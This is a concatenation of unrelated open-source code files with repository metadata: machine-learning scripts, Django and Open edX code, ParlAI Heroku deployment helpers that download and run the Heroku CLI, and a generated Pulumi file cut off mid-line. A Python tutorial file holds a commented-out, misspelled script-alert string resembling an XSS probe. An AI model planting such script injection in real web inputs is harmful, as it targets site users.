user_n_day, on='user_id', how='left') df = pd.merge(df, user_n_item, on='user_id', how='left') df = pd.merge(df, user_n_order, on='user_id', how='left') df = pd.merge(df, user_median_item, on='user_id', how='left') df = pd.merge(df, user_n_product, on='user_id', how='left') df = pd.merge(df, uesr_order_count, on='user_id', how='left') df = pd.merge(df, user_barycenter, on='user_id', how='left') df = pd.merge(df, user_n_day_per_order, on='user_id', how='left') df = pd.merge(df, user_n_item_per_day, on='user_id', how='left') df = pd.merge(df, user_rebuy_rate, on='user_id', how='left') df = pd.merge(df, user_avg_day_per_item, on='user_id', how='left') df = pd.merge(df, user_avg_order_per_item, on='user_id', how='left') df = pd.merge(df, user_percent_30, on='user_id', how='left') df = pd.merge(df, user_n_previous_item, on='user_id', how='left') df = pd.merge(df, user_word2vec, on='user_id', how='left') df = pd.merge(df, user_rebuy_rate_by_product, on='user_id', how='left') df = pd.merge(df, order_pred, on='order_id', how='left') df = get_second_feat(df) # 添加二次特征 print('添加label') df = get_label(df,prior,train) df = df.fillna(-100) df.to_hdf(df_path, 'w', complib='blosc', complevel=5) return df user_order = get_user_order() user_train = make_user_train_set('train') user_test = make_user_train_set('test') # 线下调参 ''' predictors = user_train.columns.drop(['user_id', 'order_id', 'nlabel', 'label']) ''' predictors = [ 'order_dow', 'order_hour_of_day', 'user_last_day', 'user_n_day', 'user_n_item', 'user_n_order', 'user_median_item', 'user_n_product', 'user_order_avg_count', 'user_order_max_count', 'user_order_min_count', 'user_order_std_count', 'user_order_skew_count', 'user_barycenter', 'user_n_day_per_order', 'user_n_item_per_day', 'user_rebuy_rate', 'user_avg_day_per_item', 'user_avg_order_per_item', 'user_percent_30', 'user_rebuy_rate_by_product', 'user_rebuy_rate_by_product_rate', 'user_percent_previous_item', 'user_n_previous_item', 'user_exp_order', 'user_exp_item','user_vector_1', 'user_vector_2', 'sum_label', 'none_label', 'max_label', 'min_label', 'mean_label', 'std_label', 'skew_label'] # xgb做回归 import xgboost as xgb eval_train = user_train[:int(user_train.shape[0]*0.7)] eval_test = user_train[int(user_train.shape[0]*0.7):] xgb_train = xgb.DMatrix(eval_train[predictors], eval_train['nlabel']) xgb_eval = xgb.DMatrix(eval_test[predictors], eval_test['nlabel']) # xgtest = xgb.DMatrix(test[feature_label]) xgb_params = { 'objective': 'reg:linear', 'eta': 0.01, 'colsample_bytree': 0.886, 'min_child_weight': 2, 'max_depth': 4, 'subsample': 0.886, 'verbose_eval': True, 'nthread': 8, 'eval_metric': 'rmse', 'seed': 201703, 'missing': -1 } watchlist = [(xgb_train,'train'), (xgb_eval, 'val')] model = xgb.train(xgb_params, xgb_train, 10000, evals = watchlist, verbose_eval = 50, early_stopping_rounds = 50) ''' Stopping. Best iteration: [2614] train-rmse:3.09517 val-rmse:3.2534 ''' # CV回归 import time import xgboost as xgb from sklearn.cross_validation import KFold def right_test(train,predictors,target,test=None): t0 = time.time() train_X = train[predictors] train_y = train[target] pred_train = train[['user_id','order_id']] pred_train['pred_nlabel'] = 0 test_X = test[predictors] pred_test = test[['user_id','order_id']] pred_test['pred_nlabel'] = 0 params = { 'objective': 'reg:linear', 'eta': 0.01, 'colsample_bytree': 0.886, 'min_child_weight': 2, 'max_depth': 4, 'subsample': 0.886, 'verbose_eval': True, 'nthread': 8, 'eval_metric': 'rmse', 'seed': 201703, 'missing': -1 } kf = KFold(len(train_y), n_folds = 5, shuffle=True, random_state=520) for i, (train_index, test_index) in enumerate(kf): sub_train_X = train_X.iloc[train_index] sub_test_X = train_X.iloc[test_index] sub_train_y = train_y.iloc[train_index] sub_test_y = train_y.iloc[test_index] ## build xgb xgbtrain = xgb.DMatrix(sub_train_X, sub_train_y) xgbtest = xgb.DMatrix(sub_test_X, sub_test_y) watchlist = [(xgbtrain, 'train'), (xgbtest, 'val')] model = xgb.train(xgb_params, xgbtrain, 10000, evals=watchlist, verbose_eval=50, early_stopping_rounds=50) pred_train['pred_nlabel'].iloc[test_index] = model.predict(xgbtest) pred_test['pred_nlabel'] += model.predict(xgb.DMatrix(test_X)) print ('Done in %.1fs!' % (time.time()-t0)) pred_test['pred_nlabel'] = pred_test['pred_nlabel']/5 return (pred_train,pred_test) user_train_pred_nlabel,user_test_pred_nlabel = right_test(user_train,predictors,'nlabel',user_test) user_pred_nlabel = pd.concat([user_train_pred_nlabel,user_test_pred_nlabel]) user_pred_nlabel.to_csv(r'C:\Users\csw\Desktop\user_nlabel.csv',index=False)
640c741dd9bb3b08088c64b6c6b4ed938a5eee3d
0a42fed6746cd9093fc3c3d4fbd7ac5d2cff310f
/python高级编程io/study02/code07_class_method.py
c1144121a6361a620dbc4cf0b5c7e4b4756da491
[]
no_license
luoshanya/Vue_Study
4767fc46f2186c75a4b2f7baeeb2fcc9044bd9a4
d3a07364a63f0552b166a5697a7245f56e38e78d
refs/heads/master
2020-06-19T02:15:20.253362
2019-07-17T08:49:48
2019-07-17T08:49:48
196,529,016
0
0
null
null
null
null
UTF-8
Python
false
false
1,015
py
class Date: def __init__(self, year, month, day): self.year = year self.month = month self.day = day @staticmethod def static(str_data): year, month, day = tuple(str_data.split('-')) return Date(int(year), int(month), int(day)) @classmethod def cls_method(cls, str_data): year, month, day = tuple(str_data.split('-')) # cla代表是类名 return cls(int(year), int(month), int(day)) # 改变实例变量 def tomorrow(self): self.day += 1 def __str__(self): return '%s/%s/%s' % (self.year, self.month, self.day) date = Date(2019, 6, 10) date.tomorrow() # print(date) # <scrpt>alter('abc')</script> data_str = '2019-6-10' year, month, day = tuple(data_str.split('-')) date = Date(int(year), int(month), int(day)) # print(date) # 使用staticmethod完成初始化 date01 = Date.static(data_str) # print(date01) # 使用classmethod完成初始化 date02 = Date.cls_method(data_str) # print(date02)
d93e2c2dd0d791c1b5717f893307404535f8267a
f36cd54c6b66bcd373b8074bb9738649877f3438
/xblock_ifmo/core/xblock_ifmo.py
261c287cbec83f1292fdb889566877bd1b7b1643
[]
no_license
npoed/ifmo-xblock-framework
2f635dfb848f968927122cd36b60fcd74b44ba33
d3eece00402eb69ffbdcb95e99c99d0b1c965106
refs/heads/master
2023-01-01T22:48:22.301231
2020-09-30T16:22:15
2020-09-30T16:22:15
299,882,622
0
0
null
2020-09-30T10:20:28
2020-09-30T10:20:27
null
UTF-8
Python
false
false
7,591
py
# -*- coding=utf-8 -*- import logging from courseware.models import StudentModule from django.contrib.auth.models import User from xblock.core import XBlock from xmodule.util.duedate import get_extended_due_date from webob.response import Response from ..fragment import FragmentMakoChain from ..utils import require, reify_f, deep_update from .xblock_ifmo_fields import XBlockFieldsMixin from .xblock_ifmo_resources import ResourcesMixin logger = logging.getLogger(__name__) @ResourcesMixin.register_resource_dir("../resources/ifmo_xblock") class IfmoXBlock(XBlockFieldsMixin, ResourcesMixin, XBlock): has_score = True icon_class = 'problem' def save_now(self): """ Большинство блоков используют celery на сервере, поэтому нужно сохранять ссылки на задачи сразу, как они были зарезервированы. :return: """ self.save() def get_score(self): return { 'score': self.points * self.weight, 'total': self.weight, } def max_score(self): return self.weight def save_settings(self, data): """ Не является обработчиком сам по себе, однако, его могут (и должны) использовать дочерние обработчики, когда требуется сохранение настроек. :param data: :return: """ parent = super(IfmoXBlock, self) if hasattr(parent, 'save_settings'): parent.save_settings(data) self.display_name = data.get('display_name') self.description = data.get('description') self.weight = data.get('weight') self.attempts = data.get('attempts') return {} def _get_score_string(self): """ Строка, отображающая баллы пользователя, рядом с заголовком (названием юнита). :return: Строка с баллами """ result = '' # Отображается только в том случае, если за работу начисляются баллы if self.weight is not None and self.weight != 0: # if self.attempts > 0: result = '(%s/%s баллов)' % (self.points * self.weight, self.weight,) # else: # result = '(%s points possible)' % (self.weight,) return result @XBlock.json_handler def reset_user_state(self, data, suffix=''): require(self._is_staff()) module = self.get_module(data.get('user_login')) if module is not None: module.state = '{}' module.max_grade = None module.grade = None module.save() return { 'state': "Состояние пользователя сброшено.", } else: return { 'state': "Модуль для указанного пользователя не существует." } @XBlock.json_handler def get_user_state(self, data, suffix=''): require(self._is_staff()) module = self.get_module(data.get('user_login')) if module is not None: return {'state': module.state} else: return { 'state': "Модуль для указанного пользователя не существует." } @XBlock.json_handler def get_user_data(self, data, suffix=''): context = self.get_student_context_base() context.update(self.get_student_context()) return context def student_view(self, context=None): fragment = FragmentMakoChain(lookup_dirs=self.get_template_dirs(), content=self.load_template('xblock_ifmo/student_view.mako')) fragment.add_javascript(self.load_js('ifmo-xblock-utils.js')) fragment.add_javascript(self.load_js('ifmo-xblock.js')) fragment.add_javascript(self.load_js('modals/init-modals.js')) fragment.add_javascript(self.load_js('modals/state-modal.js')) fragment.add_javascript(self.load_js('modals/debug-info-modal.js')) fragment.add_css(self.load_css('base.css')) fragment.add_css(self.load_css('modal.css')) context = context or {} deep_update(context, {'render_context': self.get_student_context()}) fragment.add_context(context) return fragment def studio_view(self, context=None): fragment = FragmentMakoChain(lookup_dirs=self.get_template_dirs(), content=self.load_template('xblock_ifmo/settings_view.mako')) fragment.add_javascript(self.load_js('ifmo-xblock-utils.js')) fragment.add_javascript(self.load_js('ifmo-xblock-studio.js')) fragment.add_css(self.load_css('settings.css')) fragment.initialize_js('IfmoXBlockSettingsView') context = context or {} deep_update(context, {'render_context': self.get_settings_context()}) fragment.add_context(context) return fragment @reify_f def get_student_context(self, user=None): return self.get_student_context_base(user) @reify_f def get_settings_context(self): return { 'id': str(self.scope_ids.usage_id), 'metadata': { 'display_name': self.display_name, 'description': self.description, 'weight': self.weight, 'attempts': self.attempts, }, } def get_student_context_base(self, user=None): due = get_extended_due_date(self) return { 'meta': { 'location': str(self.scope_ids.usage_id), 'id': self.scope_ids.usage_id.block_id, 'name': self.display_name, 'text': self.description or "", 'due': due.strftime('%d.%m.%Y %H:%M:%S') if due else None, 'attempts': self.attempts, }, 'student_state': { 'score': { 'earned': self.points * self.weight, 'max': self.weight, 'string': self._get_score_string(), }, 'is_staff': self._is_staff(), # This is probably studio, find out some more ways to determine this 'is_studio': self._is_studio(), }, } def _is_staff(self): return getattr(self.xmodule_runtime, 'user_is_staff', False) def _is_studio(self): return self.runtime.get_real_user is None def get_response_user_state(self, additional): context = self.get_student_context_base() context.update(additional) return Response(json_body=context) def get_module(self, user=None): try: if isinstance(user, User): return StudentModule.objects.get(student=user, module_state_key=self.location) elif isinstance(user, (basestring, unicode)): return StudentModule.objects.get(student__username=user, module_state_key=self.location) else: return None except StudentModule.DoesNotExist: return None
ce66af89f555b5a8250af7fb0556da9101942799
71c49e0cf373e72c5792a7e5aa5657400f9d8cf0
/photobooth/urls.py
c9bfe1b75b74848344e7c76f94b5728af1e1036f
[]
no_license
relekang/photobooth
5aefaef5fff08008c0c320ee70979ff78eacc1cf
9c82d355c6f53a6e2743aabeaf2c040300befbb5
refs/heads/master
2020-12-14T09:01:33.198677
2015-11-22T08:57:05
2015-11-22T08:57:41
46,576,643
0
0
null
null
null
null
UTF-8
Python
false
false
606
py
from django.conf import settings from django.conf.urls import include, url from django.conf.urls.static import static from django.contrib import admin from . import views admin.site.site_header = 'Photobooth' urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^api/', include('photobooth.api.urls')), url(r'^accounts/', include('django.contrib.auth.urls')), url(r'^remote/$', views.Remote.as_view()), url(r'^$', views.LandingPage.as_view()), ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) \ + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
f2216bf62f0faca405139c23e58a303ebc325977
7c15f211adc9e9eb9f66ccdd570c9f38dff7ea8d
/packages/autorest.python/test/vanilla/version-tolerant/Expected/AcceptanceTests/CustomBaseUriVersionTolerant/setup.py
6d07b965c77d63558bf25ebcab0b322d3596a6e4
[ "LicenseRef-scancode-generic-cla", "MIT" ]
permissive
Azure/autorest.python
cc4bfbf91ae11535731cad37cedd6b733edf1ebd
a00d7aaa3753ef05cb5a0d38c664a90869478d44
refs/heads/main
2023-09-03T06:58:44.246200
2023-08-31T20:11:51
2023-08-31T20:11:51
100,315,955
47
40
MIT
2023-09-14T21:00:21
2017-08-14T22:58:33
Python
UTF-8
Python
false
false
1,008
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- # coding: utf-8 from setuptools import setup, find_packages PACKAGE_NAME = "autorestparameterizedhosttestclient" version = "0.1.0" setup( name=PACKAGE_NAME, version=version, description="AutoRestParameterizedHostTestClient", author_email="", url="", keywords="azure, azure sdk", packages=find_packages(), include_package_data=True, install_requires=[ "isodate<1.0.0,>=0.6.1", "azure-core<2.0.0,>=1.28.0", ], long_description="""\ Test Infrastructure for AutoRest. """, )
aafdcfbae25f4fcd453f97b9ea98141dc461a671
ee86ad4b38f6ba13f195246f14224ba781f933cc
/알고리즘실습/AD/부분집합의합.py
60a9d43961a2c316d1da35f2f912afff9b53d73c
[]
no_license
yejikk/Algorithm
aed7adf00c1e32d21b735b3b34dc6cb75049f164
531f43305b3a23c824c9e153151b7280c1dc2535
refs/heads/master
2020-04-17T06:17:28.961656
2019-11-16T08:02:49
2019-11-16T08:02:49
166,318,881
0
0
null
null
null
null
UTF-8
Python
false
false
854
py
import sys sys.stdin = open('부분집합의합.txt') def subset(number): # 원소의 수 -> S # 원소의 수가 S개 일 경우 2**S는 전체 부분집합의 수를 의미(공집합 포함) arr = [[] for _ in range(2**S)] # 부분집합의 개수 for i in range(1<<S): # 원소의 수만큼 비트 비교 for j in range(S): if i & (1<<j): arr[i].append(number[j]) return arr T = int(input()) for tc in range(1, T+1): S = 12 N, K = map(int, input().split()) number = list(map(int, range(1, S+1))) setarr = subset(number) flag = 0 cnt = 0 for i in range(len(setarr)): if len(setarr[i]) == N and sum(setarr[i]) == K: cnt += 1 if cnt > 0: print('#{} {}'.format(tc, cnt)) else: print('#{} {}'.format(tc, 0))
46455eebd427110368c6d93e8210a4488b309052
fb3b43ab9e7e9874f8cc53caa44f292387d57cf7
/Mascotas/apps/mascota/forms.py
5ae54464b79e7193d43a79751430327e7d4f962e
[]
no_license
CoriAle/zona
cdb06e4d9d1a4ed61731a285e5e71df0cdcfec31
8bd13ba3bc506f88ad02f26b4562b889effc3ac7
refs/heads/master
2021-08-06T20:21:04.050053
2017-11-07T02:07:47
2017-11-07T02:07:47
106,186,438
0
0
null
null
null
null
UTF-8
Python
false
false
1,580
py
from django import forms from apps.mascota.models import Mascota, Vacuna class MascotaForm(forms.ModelForm): class Meta: model = Mascota fields = [ 'nombre', 'edad', 'fecha_rescate', 'genero', 'persona', 'vacuna', 'imagen', ] labels = { 'Nombre', 'Edad', 'Fecha de rescate', 'Género', 'Adoptante', 'Vacuna', 'Foto', } widgets = { 'nombre': forms.TextInput(attrs = {'class': 'form-control'}), 'edad': forms.TextInput(attrs = {'class': 'form-control'}), 'fecha_rescate': forms.TextInput(attrs = {'class': 'form-control'}), 'genero': forms.TextInput(attrs = {'class': 'form-control'}), 'persona': forms.Select(attrs = {'class': 'form-control'}), 'vacuna': forms.CheckboxSelectMultiple(), } class VacunaForm(forms.ModelForm): class Meta: model = Vacuna fields = [ 'nombre', 'fecha_vencimiento' , 'funcion', ] labels = { 'Nombre', 'Fecha de caducidad' 'Indicaciones', } widgets = { 'nombre': forms.TextInput(attrs = {'class': 'form-control'}), 'fecha_vencimiento': forms.DateInput(format = ('%d-%m-%Y'), attrs = {'class': 'form-control'}), 'funcion': forms.Textarea(attrs = {'class': 'form-control'}), }
6137fb40a4e270db6cd3566678423d2092bad69c
1d9059e03874838318885990931e4f3dd741bb7e
/users/admin.py
91278752e36593cd98f7e5f9fc69427026d707bc
[]
no_license
Chirag-Django/temp_nonstop
fc5efc42d9c484ad3431454f67a428fe5ce94000
2c5904d4e12e487447eda9a1d8e4a4b3c17307b9
refs/heads/master
2023-03-09T12:55:49.953273
2021-02-19T01:35:44
2021-02-19T01:35:44
340,226,456
0
0
null
null
null
null
UTF-8
Python
false
false
215
py
from django.contrib import admin from .models import Profile # Register your models here. class ProfileAdmin(admin.ModelAdmin): list_display = ['user','address','age'] admin.site.register(Profile,ProfileAdmin)
90c27e41c4db505141eefc01d03a5c22cf0cab02
35271f6bd874799df9a93dbe5bcc50272b619dc1
/ML/Pytorch/image_segmentation/semantic_segmentation_unet/dataset.py
0c0f098d474994373657cf0a025b40cc55516856
[ "MIT" ]
permissive
aladdinpersson/Machine-Learning-Collection
c724186b64ae52efa6f9d4e97f37477900901d35
558557c7989f0b10fee6e8d8f953d7269ae43d4f
refs/heads/master
2023-08-31T20:52:06.493437
2023-03-21T11:44:08
2023-03-21T11:44:08
250,184,708
5,653
2,543
MIT
2023-09-02T03:51:36
2020-03-26T07:02:40
Python
UTF-8
Python
false
false
978
py
import os from PIL import Image from torch.utils.data import Dataset import numpy as np class CarvanaDataset(Dataset): def __init__(self, image_dir, mask_dir, transform=None): self.image_dir = image_dir self.mask_dir = mask_dir self.transform = transform self.images = os.listdir(image_dir) def __len__(self): return len(self.images) def __getitem__(self, index): img_path = os.path.join(self.image_dir, self.images[index]) mask_path = os.path.join(self.mask_dir, self.images[index].replace(".jpg", "_mask.gif")) image = np.array(Image.open(img_path).convert("RGB")) mask = np.array(Image.open(mask_path).convert("L"), dtype=np.float32) mask[mask == 255.0] = 1.0 if self.transform is not None: augmentations = self.transform(image=image, mask=mask) image = augmentations["image"] mask = augmentations["mask"] return image, mask
bb41d8c33a9ace3b96c2435fa2c15e9c5bc5c2e4
b2c24abff86b28ca8a495b3a3c3227f070737aa2
/parlai/messenger/core/server_utils.py
2aa0f6024a7e4d609bf781b93589828e12037bef
[ "MIT" ]
permissive
hengyicai/AdaND
d5dda1b2fcd2abd17be6603de632f0515382b37b
5e3fefb1cf40c42215a37246efc64958ae6db005
refs/heads/master
2023-09-01T07:38:49.076947
2020-10-19T04:58:00
2020-10-19T04:58:00
204,633,631
10
2
MIT
2023-08-11T19:52:23
2019-08-27T06:20:39
Python
UTF-8
Python
false
false
10,485
py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import getpass import glob import hashlib import netrc import os import platform import sh import shlex import shutil import subprocess import time region_name = 'us-east-1' user_name = getpass.getuser() parent_dir = os.path.dirname(os.path.abspath(__file__)) server_source_directory_name = 'server' heroku_server_directory_name = 'heroku_server' local_server_directory_name = 'local_server' task_directory_name = 'task' server_process = None heroku_url = 'https://cli-assets.heroku.com/heroku-cli/channels/stable/heroku-cli' def setup_heroku_server(task_name): print("Heroku: Collecting files...") # Install Heroku CLI os_name = None bit_architecture = None # Get the platform we are working on platform_info = platform.platform() if 'Darwin' in platform_info: # Mac OS X os_name = 'darwin' elif 'Linux' in platform_info: # Linux os_name = 'linux' else: os_name = 'windows' # Find our architecture bit_architecture_info = platform.architecture()[0] if '64bit' in bit_architecture_info: bit_architecture = 'x64' else: bit_architecture = 'x86' # Remove existing heroku client files existing_heroku_directory_names = glob.glob( os.path.join(parent_dir, 'heroku-cli-*') ) if len(existing_heroku_directory_names) == 0: if os.path.exists(os.path.join(parent_dir, 'heroku.tar.gz')): os.remove(os.path.join(parent_dir, 'heroku.tar.gz')) # Get the heroku client and unzip os.chdir(parent_dir) sh.wget( shlex.split( '{}-{}-{}.tar.gz -O heroku.tar.gz'.format( heroku_url, os_name, bit_architecture ) ) ) sh.tar(shlex.split('-xvzf heroku.tar.gz')) heroku_directory_name = glob.glob(os.path.join(parent_dir, 'heroku-cli-*'))[0] heroku_directory_path = os.path.join(parent_dir, heroku_directory_name) heroku_executable_path = os.path.join(heroku_directory_path, 'bin', 'heroku') server_source_directory_path = os.path.join( parent_dir, server_source_directory_name ) heroku_server_directory_path = os.path.join( parent_dir, '{}_{}'.format(heroku_server_directory_name, task_name) ) # Delete old server files sh.rm(shlex.split('-rf ' + heroku_server_directory_path)) # Copy over a clean copy into the server directory shutil.copytree(server_source_directory_path, heroku_server_directory_path) print("Heroku: Starting server...") os.chdir(heroku_server_directory_path) sh.git('init') # get heroku credentials heroku_user_identifier = None while not heroku_user_identifier: try: subprocess.check_output(shlex.split(heroku_executable_path + ' auth:token')) heroku_user_identifier = netrc.netrc( os.path.join(os.path.expanduser("~"), '.netrc') ).hosts['api.heroku.com'][0] except subprocess.CalledProcessError: raise SystemExit( 'A free Heroku account is required for launching MTurk tasks. ' 'Please register at https://signup.heroku.com/ and run `{} ' 'login` at the terminal to login to Heroku, and then run this ' 'program again.'.format(heroku_executable_path) ) heroku_app_name = ( '{}-{}-{}'.format( user_name, task_name, hashlib.md5(heroku_user_identifier.encode('utf-8')).hexdigest(), ) )[:30] while heroku_app_name[-1] == '-': heroku_app_name = heroku_app_name[:-1] # Create or attach to the server try: subprocess.check_output( shlex.split('{} create {}'.format(heroku_executable_path, heroku_app_name)), stderr=subprocess.STDOUT, ) except subprocess.CalledProcessError as e: error_text = bytes.decode(e.output) if "Name is already taken" in error_text: # already running this app do_continue = input( 'An app is already running with that name, do you want to ' 'restart a new run with it? (y/N): ' ) if do_continue != 'y': raise SystemExit('User chose not to re-run the app.') else: delete_heroku_server(task_name) try: subprocess.check_output( shlex.split( '{} create {}'.format( heroku_executable_path, heroku_app_name ) ), stderr=subprocess.STDOUT, ) except subprocess.CalledProcessError as e: error_text = bytes.decode(e.output) sh.rm(shlex.split('-rf {}'.format(heroku_server_directory_path))) print(error_text) raise SystemExit( 'Something unexpected happened trying to set up the ' 'heroku server - please use the above printed error ' 'to debug the issue however necessary.' ) elif "Delete some apps" in error_text: # too many apps running sh.rm(shlex.split('-rf {}'.format(heroku_server_directory_path))) raise SystemExit( 'You have hit your limit on concurrent apps with heroku, ' 'which are required to run multiple concurrent tasks.\nPlease ' 'wait for some of your existing tasks to complete. If you ' 'have no tasks running, login to heroku.com and delete some ' 'of the running apps or verify your account to allow more ' 'concurrent apps.' ) else: sh.rm(shlex.split('-rf {}'.format(heroku_server_directory_path))) print(error_text) raise SystemExit( 'Something unexpected happened trying to set up the heroku ' 'server - please use the above printed error to debug the ' 'issue however necessary.' ) # Enable WebSockets try: subprocess.check_output( shlex.split( '{} features:enable http-session-affinity'.format( heroku_executable_path ) ) ) except subprocess.CalledProcessError: # Already enabled WebSockets pass # commit and push to the heroku server os.chdir(heroku_server_directory_path) sh.git(shlex.split('add -A')) sh.git(shlex.split('commit -m "app"')) sh.git(shlex.split('push -f heroku master')) subprocess.check_output( shlex.split('{} ps:scale web=1'.format(heroku_executable_path)) ) os.chdir(parent_dir) # Clean up heroku files if os.path.exists(os.path.join(parent_dir, 'heroku.tar.gz')): os.remove(os.path.join(parent_dir, 'heroku.tar.gz')) sh.rm(shlex.split('-rf {}'.format(heroku_server_directory_path))) return 'https://{}.herokuapp.com'.format(heroku_app_name) def delete_heroku_server(task_name): heroku_directory_name = glob.glob(os.path.join(parent_dir, 'heroku-cli-*'))[0] heroku_directory_path = os.path.join(parent_dir, heroku_directory_name) heroku_executable_path = os.path.join(heroku_directory_path, 'bin', 'heroku') heroku_user_identifier = netrc.netrc( os.path.join(os.path.expanduser("~"), '.netrc') ).hosts['api.heroku.com'][0] heroku_app_name = ( '{}-{}-{}'.format( user_name, task_name, hashlib.md5(heroku_user_identifier.encode('utf-8')).hexdigest(), ) )[:30] while heroku_app_name[-1] == '-': heroku_app_name = heroku_app_name[:-1] print("Heroku: Deleting server: {}".format(heroku_app_name)) subprocess.check_output( shlex.split( '{} destroy {} --confirm {}'.format( heroku_executable_path, heroku_app_name, heroku_app_name ) ) ) def setup_local_server(task_name): global server_process print("Local Server: Collecting files...") server_source_directory_path = os.path.join( parent_dir, server_source_directory_name ) local_server_directory_path = os.path.join( parent_dir, '{}_{}'.format(local_server_directory_name, task_name) ) # Delete old server files sh.rm(shlex.split('-rf ' + local_server_directory_path)) # Copy over a clean copy into the server directory shutil.copytree(server_source_directory_path, local_server_directory_path) print("Local: Starting server...") os.chdir(local_server_directory_path) packages_installed = subprocess.call(['npm', 'install']) if packages_installed != 0: raise Exception( 'please make sure npm is installed, otherwise view ' 'the above error for more info.' ) server_process = subprocess.Popen(['node', 'server.js']) time.sleep(1) print('Server running locally with pid {}.'.format(server_process.pid)) host = input('Please enter the public server address, like https://hostname.com: ') port = input('Please enter the port given above, likely 3000: ') return '{}:{}'.format(host, port) def delete_local_server(task_name): global server_process print('Terminating server') server_process.terminate() server_process.wait() print('Cleaning temp directory') local_server_directory_path = os.path.join( parent_dir, '{}_{}'.format(local_server_directory_name, task_name) ) sh.rm(shlex.split('-rf ' + local_server_directory_path)) def setup_server(task_name, local=False): if local: return setup_local_server(task_name) return setup_heroku_server(task_name) def delete_server(task_name, local=False): if local: delete_local_server(task_name) else: delete_heroku_server(task_name)
eedf734f0ab7a9cfcb0598a39699f475ff9592a2
82b946da326148a3c1c1f687f96c0da165bb2c15
/sdk/python/pulumi_azure_native/web/v20190801/get_app_service_environment.py
ab8f85eee103ca4512b2ca29475cc820d19873ec
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
morrell/pulumi-azure-native
3916e978382366607f3df0a669f24cb16293ff5e
cd3ba4b9cb08c5e1df7674c1c71695b80e443f08
refs/heads/master
2023-06-20T19:37:05.414924
2021-07-19T20:57:53
2021-07-19T20:57:53
387,815,163
0
0
Apache-2.0
2021-07-20T14:18:29
2021-07-20T14:18:28
null
UTF-8
Python
false
false
27,640
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs __all__ = [ 'GetAppServiceEnvironmentResult', 'AwaitableGetAppServiceEnvironmentResult', 'get_app_service_environment', ] @pulumi.output_type class GetAppServiceEnvironmentResult: """ App Service Environment ARM resource. """ def __init__(__self__, allowed_multi_sizes=None, allowed_worker_sizes=None, api_management_account_id=None, cluster_settings=None, database_edition=None, database_service_objective=None, default_front_end_scale_factor=None, dns_suffix=None, dynamic_cache_enabled=None, environment_capacities=None, environment_is_healthy=None, environment_status=None, front_end_scale_factor=None, has_linux_workers=None, id=None, internal_load_balancing_mode=None, ipssl_address_count=None, kind=None, last_action=None, last_action_result=None, location=None, maximum_number_of_machines=None, multi_role_count=None, multi_size=None, name=None, network_access_control_list=None, provisioning_state=None, resource_group=None, ssl_cert_key_vault_id=None, ssl_cert_key_vault_secret_name=None, status=None, subscription_id=None, suspended=None, tags=None, type=None, upgrade_domains=None, user_whitelisted_ip_ranges=None, vip_mappings=None, virtual_network=None, vnet_name=None, vnet_resource_group_name=None, vnet_subnet_name=None, worker_pools=None): if allowed_multi_sizes and not isinstance(allowed_multi_sizes, str): raise TypeError("Expected argument 'allowed_multi_sizes' to be a str") pulumi.set(__self__, "allowed_multi_sizes", allowed_multi_sizes) if allowed_worker_sizes and not isinstance(allowed_worker_sizes, str): raise TypeError("Expected argument 'allowed_worker_sizes' to be a str") pulumi.set(__self__, "allowed_worker_sizes", allowed_worker_sizes) if api_management_account_id and not isinstance(api_management_account_id, str): raise TypeError("Expected argument 'api_management_account_id' to be a str") pulumi.set(__self__, "api_management_account_id", api_management_account_id) if cluster_settings and not isinstance(cluster_settings, list): raise TypeError("Expected argument 'cluster_settings' to be a list") pulumi.set(__self__, "cluster_settings", cluster_settings) if database_edition and not isinstance(database_edition, str): raise TypeError("Expected argument 'database_edition' to be a str") pulumi.set(__self__, "database_edition", database_edition) if database_service_objective and not isinstance(database_service_objective, str): raise TypeError("Expected argument 'database_service_objective' to be a str") pulumi.set(__self__, "database_service_objective", database_service_objective) if default_front_end_scale_factor and not isinstance(default_front_end_scale_factor, int): raise TypeError("Expected argument 'default_front_end_scale_factor' to be a int") pulumi.set(__self__, "default_front_end_scale_factor", default_front_end_scale_factor) if dns_suffix and not isinstance(dns_suffix, str): raise TypeError("Expected argument 'dns_suffix' to be a str") pulumi.set(__self__, "dns_suffix", dns_suffix) if dynamic_cache_enabled and not isinstance(dynamic_cache_enabled, bool): raise TypeError("Expected argument 'dynamic_cache_enabled' to be a bool") pulumi.set(__self__, "dynamic_cache_enabled", dynamic_cache_enabled) if environment_capacities and not isinstance(environment_capacities, list): raise TypeError("Expected argument 'environment_capacities' to be a list") pulumi.set(__self__, "environment_capacities", environment_capacities) if environment_is_healthy and not isinstance(environment_is_healthy, bool): raise TypeError("Expected argument 'environment_is_healthy' to be a bool") pulumi.set(__self__, "environment_is_healthy", environment_is_healthy) if environment_status and not isinstance(environment_status, str): raise TypeError("Expected argument 'environment_status' to be a str") pulumi.set(__self__, "environment_status", environment_status) if front_end_scale_factor and not isinstance(front_end_scale_factor, int): raise TypeError("Expected argument 'front_end_scale_factor' to be a int") pulumi.set(__self__, "front_end_scale_factor", front_end_scale_factor) if has_linux_workers and not isinstance(has_linux_workers, bool): raise TypeError("Expected argument 'has_linux_workers' to be a bool") pulumi.set(__self__, "has_linux_workers", has_linux_workers) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if internal_load_balancing_mode and not isinstance(internal_load_balancing_mode, str): raise TypeError("Expected argument 'internal_load_balancing_mode' to be a str") pulumi.set(__self__, "internal_load_balancing_mode", internal_load_balancing_mode) if ipssl_address_count and not isinstance(ipssl_address_count, int): raise TypeError("Expected argument 'ipssl_address_count' to be a int") pulumi.set(__self__, "ipssl_address_count", ipssl_address_count) if kind and not isinstance(kind, str): raise TypeError("Expected argument 'kind' to be a str") pulumi.set(__self__, "kind", kind) if last_action and not isinstance(last_action, str): raise TypeError("Expected argument 'last_action' to be a str") pulumi.set(__self__, "last_action", 